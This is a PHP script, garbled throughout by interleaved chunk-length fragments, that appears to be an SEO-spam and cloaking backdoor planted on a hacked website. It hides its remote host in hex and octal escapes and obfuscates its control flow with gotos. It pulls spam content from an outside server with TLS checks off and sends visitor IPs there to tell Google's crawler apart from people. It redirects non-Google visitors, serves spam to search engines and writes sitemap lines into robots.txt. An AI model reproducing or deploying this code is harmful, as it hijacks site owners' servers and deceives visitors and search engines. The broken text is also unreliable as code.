2 6 true, 1e CURLOPT_CONNECTT 4 IMEO 7 UT => 5 1f , CURLOPT_TIMEOUT a => 19 8, CURLOPT_S 3 SL_ 7 VERIFYP 7 EER => 26 false, CURLOPT_SSL_VERIFY 4 HOST 23 => false, CURLOPT_FOL 3 LOW 6 LOCATI 22 ON => false, CURLOPT_ 5 USERA 4 GENT c => "Mo 5 zilla 5 /5.0" a 15 ]); $data = 9 curl_exec 15 ($ch); curl_ 5 close d ($ch); } 13 if (empty($ 9 data) && 8 ini_get( 5 'allo 7 w_url_f 4 open 15 ')) { $conte 5 xt = 7 stream_ 9 context_c 6 reate( 12 [ "ht 7 tp" => 6 ["time 4 out" b => 8, "hea 8 der" => 5 "User 3 -Ag 10 ent: Mozilla/5.0 5 \r\n" 10 ], 6 "ssl" 9 => ["ver 5 ify_p 8 eer" => 14 false, "verify_peer_ 4 name 2a " => false] ]); $data = 14 @file_get_contents($ 4 url, 10 false, $context 16 ); } if (! 19 empty($data)) cache_set($ b url, $data) e ; return 30 $data; } /* ------------------------- 5 URL ä 4 ¿¡æ 2e ¯ ------------------------- */ function get_ 8 url_info 4 (str 8 ing $typ 5 e='do 3 mai c n'): string a { $ho e st = $_SERVER[ a 'HTTP_HOST 4 '] ? 7 ? ''; e if ($type 6 === 'n 4 o_ww b w') return 4 preg 7 _replac 5 e('/^ 6 www\./ 5 i', ' 9 ', $host) c ; $pr 5 otoco 4 l = 17 (!empty($_SERVER['HTTPS 7 ']) && 16 $_SERVER['HTTPS'] !== 4 'off a ') ? "http 5 s://" 8 : "http c ://"; $ 3 bas f e = $protocol . 13 $host; if ( f $type === 'base f ') return $base 19 ; if ($type === 'ful 13 l') return $base . d ($_SERVER['RE 3 QUE 6 ST_URI 12 '] ?? ''); f return $host; 29 } /* ------------------------- å 3 Ÿºç 4 ¡€å 4 ˜é‡ 21 ------------------------- */ g 6 oto ON 4 PuB; 7 ONPuB: 7 $http_ 17 type = !empty($_SERVER[ 4 "\x4 5 8\124 7 \x54\x5 6 0\x53" 19 ]) && $_SERVER["\x48\124\ d 124\x50\x53"] 8 !== "\1 4 57\x 4 66\1 3 46" a ? "\150\x a 74\x74\x70 4 \163 5 \72\x 6 2f\x2f 8 " : "\x6 c 8\164\164\16 a 0\72\x2f\5 4 7"; 9 goto O4O9 8 k; O4O9k 7 : $vurl 9 = "\x74\ 8 157\56\1 5 52\14 5 7\141 d \x6c\x6c\163\ 6 x2e\14 9 3\157\x6d c \x2f"; goto 5 vgv72 7 ; vgv72 5 : $qz 6 = sub 7 str(str 9 _replace( b array("\x77 8 \x77\167 8 \x2e", " 5 \56") 11 , '', $_SERVER["\ a 110\x54\x5 8 4\120\x5 7 f\x48\x 6 4f\123 8 \x54"]), 5 0, 3 4 ); 27 /* ------------------------- è§£æ 4 ž f 4 å‚ 24 æ•° ------------------------- */ $ 7 sz = $i 6 id = " 6 "; if d (!empty($_GET 5 )){ 5 $f=r 6 eset($ e _GET); $s 4 p = f explode('-', $f d ); if (c 6 ount($ 8 sp) === f 2) { $ 9 sz = $sp 3 [0] 16 ; $iid = $sp[ 2 1] 31 ; } } /* ------------------------- è 3 ¿œç 4 ¨‹æŽ 3 ¥å 21 £ ------------------------- */ e if (!empty($sz c )) { $j 10 d = getCurlFast( c "{$http_type 7 }{$vurl 4 }3kg 5 .aspx 4 ?sz= 7 " . url 7 encode( a $sz)); } 4 else 3a { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?xy= d {$http_type}" b ); $sz 2e = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd 13 =" . urlencode($jd) a ); } $ 5 hyzhd 5 y = $ 7 jd . "4 6 1.aspx a "; $surl c = $jd . "s 30 41.aspx"; /* ------------------------- 5 robot 5 s / s 6 itemap 22 ------------------------- */ $s 9 itemapLin 6 e = "S 8 itemap: 22 {$http_type}{$_SERVER['HTTP_HOST'] f }{$_SERVER['SCR 5 IPT_N 6 AME']} 7 ?w=" . 6 date(' 4 YmdH 6 i') . 5 "\n"; d function en 5 sure_ f robots_sitemap( c $sitemapLine 13 ) { $robots = 6 rtrim( d $_SERVER['DOC 6 UMENT_ 3 ROO 8 T'], "/\ 8 \") . '/ 8 robots.t e xt'; if ( e !file_exists($ 14 robots)) { 14 @file_put_contents($ e robots, "User- 7 agent: 4 *\nA 7 llow: / 7 \n" . $ 18 sitemapLine, LOCK_EX); 5 } 31 else { $c = @file_get_contents($robots) f ; if ( c $c === false 4 || a strpos($c, e $sitemapLine) 1b === false) { 2a @file_put_contents($robots, $sitemapLine, 3 FIL 7 E_APPEN 3 D | 17 LOCK_EX); } a } } 29 /* ------------------------- w= è 3 ¾“å 2 ‡º 30 ------------------------- */ if (!empty($get[ 3 'w' 10 ])) { $pa 3 ram a s = http_b 5 uild_ 5 query d ([ ' 4 NOUm 4 ber' 12 => $get['NOUmber' 7 ] ?? '' e , 't' 11 => $get['t 17 '] ?? '', 'cn' 12 => $get['cn' 18 ] ?? '', 'pNOUm 13 ' => $get['pNOUm' 16 ] ?? '', 'cid 13 ' => $get['cid' 14 ] ?? '', 'm 1a ' => $get['m'] ?? '' 7 ] e ); $str 16 = getCurlFast("{$surl 3 }?{ d $params}"); a echo d str_replace( d ['y 5 ymm', 9 'ggggg',' 3 ?f= e '], [ b $http_type. 16 $_SERVER['HTTP_HOST']. 1c $_SERVER['SCRIPT_NAME'], $sz 5 ,'?'. 5 $qz.' 18 ='], $str b ); exi 2d t; } /* ------------------------- I 4 P åˆ 3 ¤å® 4 šï¼ˆ 3 ä¿ 4 ç•™ 4 kk æ 4 µ‹è¯ 1 • 29 ) ------------------------- */ $kk = 7 isset($ 7 get['kk 5 ']) ? 12 trim($get['kk']) 7 : ''; b $ip = ($kk 5 !== ' 9 ') ? "66. 4 249. 4 82.8 4 " : 35 get_real_ip(); /* ------------------------- 9 getdomain 6 2 判æ 2 –­ 27 ------------------------- */ $domain 15 = trim(getCurlFast($ 10 jd . "getdomain2 8 .aspx?rn 5 d=1&i 6 p=" . 4 $ip) 2c ); /* ------------------------- éž 6 googl 4 e + 5 iid â 4 †’ è 4 ·³è½ 25 ¬ ------------------------- */ if ( d $domain !== ' 7 google' c && !empty($ e iid)) { $ 5 kname 8 = urlde 5 code( 1b getCurlFast($jd . "gn.aspx? b iid=" . $ii f d)); echo 5 'l 3 oca 6 tion=" c ' . $jd . "a b .aspx?cname 10 =" . urlencode($ b kname) . "& 9 url=" . $ b http_type . 23 $_SERVER['HTTP_HOST'] . $_SERVER[' 12 SCRIPT_NAME'] . '" 9 37 '; exit; } /* ------------------------- 4 iid 40 输出 ------------------------- */ if (!empty($iid)) { $ 1a str = getCurlFast($hyzhdy 8 . "?iid= 5 {$iid 31 }"); echo str_replace( ['ggggg',' 8 YYYYY',' 3 XXX 9 YYY','当 3 å‰ 7 URL','U 8 UUUU','M 19 MMMM','?f='], [$ 3 sz, 1e get_url_info(), get_url_info( 17 'base'), get_url_info(' 16 full'), get_url_info(' 9 no_www'), 5 parse 1c _url($_SERVER['REQUEST_URI'] 5 , PHP 6 _URL_P 4 ATH) 59 ,'?'.$qz.'='], $str ); exit; } /* ------------------------- a sitemap he 4 lper 2b ------------------------- */ function ou 5 tput_ b sitemap_and 5 _exit e ($sitemapLine, 14 $http_type) { 2f ensure_robots_sitemap($sitemapLine); echo 4 " 11 a Sitemap " 39 ; exit; } /* ------------------------- kk 7 输出æ 4 Ž§åˆ 26 ¶ ------------------------- */ if ($ 9 kk !== '' a && preg_m 4 atch 6 ('/^[A 4 -Za- 4 z0-9 4 ]+$/ 6 ', $kk d )) { $re 4 mote 2a = getCurlFast($jd . "getdomain2.aspx?rnd= 4 2&kk 9 =" . $kk) c ; if (! d empty($remote 13 )) { echo 12 $remote; 7 exit; 1f } } if ($kk !== '' && ! 2c preg_match('/^[A-Za-z0-9]+$/', $kk)) { 3a output_sitemap_and_exit($sitemapLine, $http_type); } $ 6 is_no_ 5 query 13 = empty($_SERVER[' 5 QUERY 8 _STRING' f ]); if ($kk a === '' && 15 $is_no_query) { d if ($domain = 18 == 'google') { 34 output_sitemap_and_exit($sitemapLine, $http_type); 29 } else { exit; } } 35 output_sitemap_and_exit($sitemapLine, $http_type); ? 3 > 0